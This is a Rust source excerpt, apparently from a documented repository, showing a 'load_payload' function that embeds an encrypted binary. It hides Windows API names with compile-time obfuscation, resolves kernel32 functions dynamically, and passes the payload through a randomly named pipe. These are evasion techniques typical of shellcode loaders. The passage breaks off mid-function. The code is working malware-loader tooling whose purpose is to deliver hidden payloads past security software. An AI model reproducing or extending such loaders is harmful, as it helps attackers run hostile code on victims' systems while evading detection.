Function load_payload

src/load_payload/pipe.rs:9–126

()

use obfstr::obfbytes;

pub fn load_payload() -> Result<Vec<u8>, String> {
    const ENCRYPT_DATA: &'static [u8] = include_bytes!("../../output/encrypt.bin");
    let encrypted_data = ENCRYPT_DATA.to_vec();

    // Generate random pipe name
    let random: u32 = rand::thread_rng().gen_range(10000..99999);
    let pipe_name_str = format!("\\\\.\\pipe\\rsl_pipe_{}", random);
    let pipe_name_c = CString::new(pipe_name_str.clone()).map_err(|e| e.to_string())?;

    // Start server thread
    let server_data = encrypted_data.clone();
    let server_pipe_name = pipe_name_c.clone();
    
    thread::spawn(move || {
        unsafe {
            if let Ok(kernel32) = load_library(obfbytes!(b"kernel32.dll\0").as_slice()) {
                // Define function types
                type CreateNamedPipeAFn = unsafe extern "system" fn(*const u8, u32, u32, u32, u32, u32, u32, *const c_void) -> isize;
                type ConnectNamedPipeFn = unsafe extern "system" fn(isize, *mut c_void) -> i32;
                type WriteFileFn = unsafe extern "system" fn(isize, *const u8, u32, *mut u32, *mut c_void) -> i32;
                type DisconnectNamedPipeFn = unsafe extern "system" fn(isize) -> i32;
                type CloseHandleFn = unsafe extern "system" fn(isize) -> i32;
                type GetLastErrorFn = unsafe extern "system" fn() -> u32;

                // Load functions
                let create_named_pipe_a: CreateNamedPipeAFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CreateNamedPipeA\0").as_slice()).unwrap_or(ptr::null()));
                let connect_named_pipe: ConnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"ConnectNamedPipe\0").as_slice()).unwrap_or(ptr::null()));
                let write_file: WriteFileFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"WriteFile\0").as_slice()).unwrap_or(ptr::null()));
                let disconnect_named_pipe: DisconnectNamedPipeFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"DisconnectNamedPipe\0").as_slice()).unwrap_or(ptr::null()));
                let close_handle: CloseHandleFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice()).unwrap_or(ptr::null()));
                let get_last_error: GetLastErrorFn = std::mem::transmute(get_proc_address(kernel32, obfbytes!(b"GetLastError\0").as_slice()).unwrap_or(ptr::null()));

                if create_named_pipe_a as usize != 0 {
                    let h_pipe = create_named_pipe_a(
                        server_pipe_name.as_ptr() as *const u8,
                        0x00000002, // PIPE_ACCESS_OUTBOUND
                        0x00000000 | 0x00000000 | 0x00000000, // PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT (defaults are 0)
                        1, // Max instances
                        server_data.len() as u32 + 4096, // Out buffer
                        server_data.len() as u32 + 4096, // In buffer
                        0, // Default timeout
                        ptr::null()
                    );

                    if h_pipe != -1 { // INVALID_HANDLE_VALUE
                        let connected = connect_named_pipe(h_pipe, ptr::null_mut());
                        if connected != 0 || get_last_error() == 535 { // ERROR_PIPE_CONNECTED
                            let mut bytes_written = 0;
                            write_file(
                                h_pipe,
                                server_data.as_ptr(),
                                server_data.len() as u32,
                                &mut bytes_written,
                                ptr::null_mut()
                            );
                            thread::sleep(Duration::from_millis(100));
                        }
                        disconnect_named_pipe(h_pipe);